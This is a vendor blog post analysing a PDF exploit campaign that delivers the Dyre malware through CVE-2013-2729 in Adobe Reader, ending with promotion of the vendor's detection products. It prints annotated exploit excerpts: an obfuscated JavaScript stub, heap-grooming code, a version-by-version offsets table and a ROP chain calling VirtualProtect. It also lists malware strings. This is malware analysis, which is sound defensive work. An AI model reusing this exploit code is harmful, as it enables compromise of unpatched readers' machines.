Infinity vs. The Real World: Dyre

The Dyre fire has been burning since at least June, but so far shows little sign of being contained. Just last week, a blast of malicious PDF's began spreading yet another iteration of the malware (MD5: 38F4F489BD7E59ED91DC6FF95F37999F). In the first hours of the outbreak–or at least, when the malware sample was first submitted to public and private malware feeds–the analysis was, well, dire:

Detection of the malicious PDF (MD5: 536445D39DE9F19947AA493C1EE57751) was similarly meager, even though the vulnerability it exploits was published and patched over a year ago.

The PDF boils down to an XFA (XML Forms Architecture) form containing an obfuscated JavaScript decoding stub, two encoded bodies of JavaScript that prepare the exploitation environment and payload, and a malformed BMP image that accomplishes memory corruption via the CVE-2013-2729 vulnerability. Here's the PDF-level encapsulation:


%PDF-1.7
%...
1 0 obj
<<
  /Filter [/Fl] /L 44  -- "Fl" filter abbreviation instead of the usual "FlateDecode"
>>
stream
 ...  -- ZLIB-compressed XFA XDP
endstream
endobj
2 0 obj
<<
  /XFA 1 0 R  -- interpret referenced stream as an XFA form
>>
 ...



The XFA form is an XDP (XML Data Package)-format XML document that serves as a container for pretty much everything an exploit author could need. When decompressed, it looks like this:

 

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2014-01-21T18:14:41Z">
<template xmlns="http://www.xfa.org/schema/xfa-template/3.1/">
 ...
      <variables>
         <script name="im" contentType="application/x-javascript">
 ...
            var ma = "5t5in55f5o55har5o5ee5a5u5es5a5e";
            var upd = "Srg.rmCCdvlncp";
            var upd0 = "";  -- decodes to "String.fromCharCodeevalunescape", dirty words commonly seen in exploits
            var ii = 0;
            for (var i=0; i &lt; ma.length; i++)

            {
             if(ma[i] != "5")
              upd0 += ma[i];
               else
                upd0 += upd[ii++];
            }

            var cMZ = parOM(upd0.slice(19,23));  -- eval

            var VUSO = cMZ(upd0.slice(23));  -- unescape
         cMZ(mG05X(xfa.resolveNode("Text101").rawValue));  -- decodes and evals helper JavaScript

         </script>

         <?templateDesigner expand 1?>
      </variables>
      <subform w="576pt" h="756pt">
         <field name="Image301">
            <ui> <imageEdit/> </ui>
            <value>
 ...
               <image>  -- base64-encoded malformed BMP (triggers CVE-2013-2729)
 Qk0AAAAACgAUAAAAAABAAAAALgEAAAEAAAABAAgAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAUkdC
QVJHQkEAAv8AAAL/AAAC/wAAAv8AAAL/AAAC/wAAAv8AAAL/AAAC/wAAAv8AAAL/AAAC/wAAAv8A
 ...
               </image>
            </value>
         </field>
      </subform>



      <event activity="initialize" name="s9">  -- sets up string objects to be corrupted (see below), interspersed with holes
         <script contentType="application/x-javascript">
            var i; var j;
            if (i3d.of4 == 0){
               var VYz = "\u5858\u5858\u5678\u1234";
               var yGUaT = i3d.D4W/2-1-(VYz.length+2+2);



               for (i=0; i &lt; i3d.Ibv2; i+=1)
                  i3d.KsK[i] = VYz + im.ymE4(1,i) +
                               im.oxi.substring(0, yGUaT) +
                               im.ymE4(1,i) + "";



               for (j=0; j &lt; 1000; j++)
                  for (i=i3d.Ibv2-1; i &gt; i3d.Ibv2/4; i-=10)
                     i3d.KsK[i]=null;
               i3d.of4 = 1;
            }
         </script>
      </event>




         <draw name="Text101" y="6.35mm" x="15.875mm" w="7.375in" h="254mm">
            <ui>
               <textEdit/>
            </ui>
            <value>
               <text>  -- "Text101" JavaScript decoded by mG05X function call above
               nAB57/Vaod57/ASto19/MqbD19/ibPf19/dUaq19/bsX19/hZqj19/djwh19/sJU19/ciQ74/
wiM68/CyA19/gjVQ95/TAY19/BkG98/hzj30/uPDm117/Onw108/tiEi86/oKIU5/hqE0/JhYZ30/
 ...
               </text>
            </value>
            <font typeface="Myriad Pro"/>
            <margin topInset="0.5mm" bottomInset="0.5mm" leftInset="0.5mm" rightInset="0.5mm"/>
         </draw>
         <draw name="Text102" y="6.35mm" x="15.875mm" w="7.375in" h="254mm">
            <ui>
               <textEdit/>
            </ui>
            <value>
               <text>  -- "Text102" JavaScript decoded by im.mG05X function call below
               HdGi57/SVEQ19/bHL19/IEzq19/EzZ19/dRa19/Mub19/WPhU19/Vlq19/VYc19/volf19/
Dsb19/lhR19/WFD116/lIYx1/FpDd112/lKte19/gMJ9/tcqB89/Xsv19/yMHX116/Shc1/VKU112/
 ...
               </text>
            </value>
            <font typeface="Myriad Pro"/>
            <margin topInset="0.5mm" bottomInset="0.5mm" leftInset="0.5mm" rightInset="0.5mm"/>
         </draw>




      <event activity="docReady" ref="$host" name="EVde">
         <script contentType="application/x-javascript">




im.cMZ(im.mG05X(xfa.resolveNode("Text102").rawValue));  -- decodes and evals exploitation JavaScript
            </script>
      </event>
   </subform>
 ...

The JavaScript stored under "Text101" builds a table of offsets specific to each anticipated version of Adobe Reader:




JH = "\u06eb\u0000\u0000\u05eb\uf9e8\uffff\u5aff\uc283\u8718\u8bd6...  -- escaped payload code


        var o={"Reader":{
"9.303":{"acrord32":0x85,"rop0":0x14BA8,"rop1":0x1E73AF,...,"GMHWA":0x7F245C,"VPA":0xB8809C},
"9.304":{"acrord32":0x85,"rop0":0x14BD8,"rop1":0x1E74BF,...,"GMHWA":0x7F245C,"VPA":0xB8809C},
"9.4":{"acrord32":0x85,"rop0":0x14BD8,"rop1":0x1C9D3F,...,"GMHWA":0x7F245C,"VPA":0xB8809C},
"9.401":{"acrord32":0x85,"rop0":0x14BD8,"rop1":0x1C9D3F,...,"GMHWA":0x7F245C,"VPA":0xB8809C},
"9.402":{"acrord32":0x86,"rop0":0x159F8,"rop1":0x1E8C3F,...,"GMHWA":0x7FB394,"VPA":0xB97FF4},
"9.403":{"acrord32":0x86,"rop0":0x159F8,"rop1":0x1E950F,...,"GMHWA":0x7FB394,"VPA":0xB97FF4},
"9.404":{"acrord32":0x86,"rop0":0x159F8,"rop1":0x1E950F,...,"GMHWA":0x7FB394,"VPA":0xB97FF4},
"9.405":{"acrord32":0x86,"rop0":0x159C8,"rop1":0x1E85FF,...,"GMHWA":0x7FB394,"VPA":0xB97FF4},
"9.406":{"acrord32":0x86,"rop0":0x41E0,"rop1":0x1E9A9F,...,"GMHWA":0x7FC394,"VPA":0xB9A374},
"9.407":{"acrord32":0x86,"rop0":0x41E0,"rop1":0x1E9A9F,...,"GMHWA":0x7FC394,"VPA":0xB9A374},
"9.5":{"acrord32":0x86,"rop0":0x159F8,"rop1":0x1EA7AF,...,"GMHWA":0x7FE394,"VPA":0xB9C3B4},
"9.501":{"acrord32":0x87,"rop0":0x159E8,"rop1":0x1EA54F,...,"GMHWA":0x805398,"VPA":0xBA94F4},
"9.502":{"acrord32":0x87,"rop0":0x159E8,"rop1":0x1CCDDF,...,"GMHWA":0x805398,"VPA":0xBA84F4},
"9.503":{"acrord32":0x87,"rop0":0x76C04,"rop1":0x1D65CF,...,"GMHWA":0x806398,"VPA":0xBAA7D4},
"9.504":{"acrord32":0x87,"rop0":0x76C04,"rop1":0x1D65CF,...,"GMHWA":0x806398,"VPA":0xBAA7D4},
"10.101":{"acrord32":0xA3,"rop0":0x1DFFD,"rop1":0x1EAE7F,...,"GMHWA":0x964640,"VPA":0xE0426C},
"10.102":{"acrord32":0xA4,"rop0":0x1E65D,"rop1":0x1EAF7F,...,"GMHWA":0x971644,"VPA":0xE1B9EC},
"10.103":{"acrord32":0xA4,"rop0":0x1E6ED,"rop1":0x1EBCBF,...,"GMHWA":0x973644,"VPA":0xE1EACC},
"10.104":{"acrord32":0xA4,"rop0":0x1E63D,"rop1":0x1EAB3F,...,"GMHWA":0x975648,"VPA":0xE20F6C},
"10.105":{"acrord32":0xA5,"rop0":0x1E52D,"rop1":0x1EE93F,...,"GMHWA":0x98164C,"VPA":0xE33034},
"10.106":{"acrord32":0xA5,"rop0":0x1E52D,"rop1":0x1EE93F,...,"GMHWA":0x98164C,"VPA":0xE33034},
"11":{"acrord32":0xA9,"rop0":0xCFF4,"rop1":0x2D025F,...,"GMHWA":0xA756CC,"VPA":0xF3BBF8},
"11.001":{"acrord32":0xA9,"rop0":0x19CBE,"rop1":0x2D933F,...,"GMHWA":0xA7D6B0,"VPA":0xF493B4}}};
 ...

But the "Text102" JavaScript is where all the action is. Its code doesn't make for a very attractive figure, but let's hit the highlights:

 


 ...

            var ZNzZ = app.viewerVersion.toFixed(3);  -- get Reader version to look up offsets in "o" table
            var ayLn = ZNzZ.split(".");
            var UVjKP = parseInt(ayLn[0]);
 ...
            var h0i = "aNNNcNroNNrNdN3NNN2";  -- obfuscated "acrord32" string
            var Cb = im.VUSO(im.JH);
            var rMsF = Cb[0] + im.ymE4(1,(xHiR << 16) | UVjKP) + Cb.substring(3);
            var AB5 = UVjKP >= 11 ? 16 : 14;




            for (i=0; i < i3d.Ibv2; i+=1)
               if ((i3d.KsK[i]!=null)  && (i3d.KsK[i][0] != "\u5858")){  -- scan for a corrupted string object on the heap
                  G7 = i;
                  QG6 = vXr = (im.ymE4(2,i3d.KsK[i], AB5) >> 16);  -- corruption enables retrieval of a pointer that reveals the address of AcroRd32.exe
                  vXr = (QG6 - im.EiBY(h0i.replace(/N/g,""))) << 16;




                  break;
               }
 ...
            var NLGzB = 0x10901000;  -- target address for payload
 ...
            var L2nX = NLGzB;
            var FOLy = "";  -- ROP chain accumulates here




            FOLy += im.ymE4(1,vXr+im.EiBY("rop1"));




            for (i=0; i < 27; i+=1)
            {
               if ( i == 24 )
               {FOLy += im.ymE4(1,vXr+im.EiBY("rop1x"));}
               else
               {FOLy += im.ymE4(1,0x41414141);}
            }




            L2nX += FOLy.length*2;




            FOLy += im.ymE4(1,vXr+im.EiBY("rop0"));
            FOLy += im.ymE4(1,vXr+im.EiBY("rop3x"));
            FOLy += im.ymE4(1,vXr+im.EiBY("GMHWA"));  -- GetModuleHandleW
            FOLy += im.ymE4(1,vXr+im.EiBY("rop4"));




            FOLy += im.ymE4(1,vXr+im.EiBY("rop2"));
            FOLy += im.ymE4(1,L2nX+0xDC);
            FOLy += im.ymE4(1,L2nX+0xCC);
            FOLy += im.ymE4(1,0x43434343);




            FOLy += im.ymE4(1,0x43434343);
            FOLy += im.ymE4(1,0x43434343);
            FOLy += im.ymE4(1,vXr+im.EiBY("rop3"));
            FOLy += im.ymE4(1,vXr+im.EiBY("rop3"));




            FOLy += im.ymE4(1,vXr+im.EiBY("VPA"));  -- VirtualProtect
            FOLy += im.ymE4(1,vXr+im.EiBY("rop4"));
            FOLy += im.ymE4(1,L2nX+0x50);
            FOLy += im.ymE4(1,L2nX+0x50);




            FOLy += im.ymE4(1,0x1000);
            FOLy += im.ymE4(1,0x40);  -- PAGE_EXECUTE_READWRITE
 ...
            FOLy += im.ymE4(1,0x46464646);
            FOLy += im.ymE4(1,0xCCCCCCCC);
            FOLy += im.ymE4(3,"VirtualProtect");
            FOLy += "\u0000";
            FOLy += "KERNEL32";
            FOLy += "\u0000";
            FOLy += rMsF;
 ...
            if(UVjKP > 9){xfa.host.messageBox("Page not found !", "Adobe acrobat", 3, 1);};  -- must be dismissed for exploitation to proceed
            event.target.closeDoc(true);  -- triggers exploitation






Overall, the malicious PDF is highly derivative of the original proof of concept, although the attackers did make a notable number of additions to the targets table.

As for the downloaded malware itself, it's just Dyre (or Dyreza, if you prefer), obfuscated in a way that maintains a roughly normal entropy (6.6), with an innocuous import table and a few random words of text ("About SunTan Application", "CMainFrame", "Ocean", "Lite", "Dallas") to further fake legitimacy upon very rudimentary analysis. Here are a few key strings from the unpacked malware:

Global\1g2hk1hyj
Google Update Service
googleupdate
Software\Microsoft\Windows\CurrentVersion\Run
C:\cppgit\sike\Release\sikesvc.pdb





It also contains two encoded DLL's embedded as resources, one 64-bit and the other 32-bit. Here's a short sampling of their notable strings:

botid
\pipe\6t5uth4
browsnapshot
no CPU info
no users info
chrome.exe
firefox.exe
iexplore.exe





So that's the kind of threat faced by the average Internet user today.

Now we've reached the point in the blog post where we turn the magnifying glass on ourselves. How did we do? Much to no one's amazement (at least to those of us who see these successes every day), CylancePROTECT came out unsinged. Its Memory Protection layer detected and prevented the exploitation attempt:

dyre-03

And what if the exploit had somehow gotten past Memory Protection, or what if the policy hadn't been configured to block exploitation attempts? This particular malicious PDF is just a Dyre delivery vehicle, so its payload is coded to download and run the Dyre executable mentioned at the top of this post. In this scenario, the malware would have been downloaded, but would it have executed? Not on our watch:

dyre-04

The malicious executable was detected as such, summarily quarantined, and never had a chance to do anything. Retrospective testing back to August shows that, had this malware sample actually existed at that time, CylancePROTECT and Infinity would have convicted it back then, too. 

Understandably, we have a fervor for showing off our technology. If you like hearing about it, here's a quick teaser just for you–Infinity versus the malicious PDF itself:

dyre-05

That's right: we're now aiming our machine learning models at the problem of analyzing documents themselves to mathematically detect maliciousness. (Stay tuned for our official announcement of this offering.) If we can convict a malicious document before it ever touches a vulnerable application–and, obviously, we can–then we will have added a third, potent layer of defense with the ability to kill the exploitation chain before a payload or malware ever enters the picture. 

To sum up, while the recent PDF-borne Dyre campaign caught the AV industry largely unprepared, it failed completely against our technology–our memory protection, our math-based malware prevention, and coming soon, our math-based malicious document protection. From experience, we've come to expect great things from the first two, and it's nice to see that the PDF model is carrying the torch, so to speak. Not bad for its baptism of fire.

- Derek Soeder (Cylance Sr. Researcher)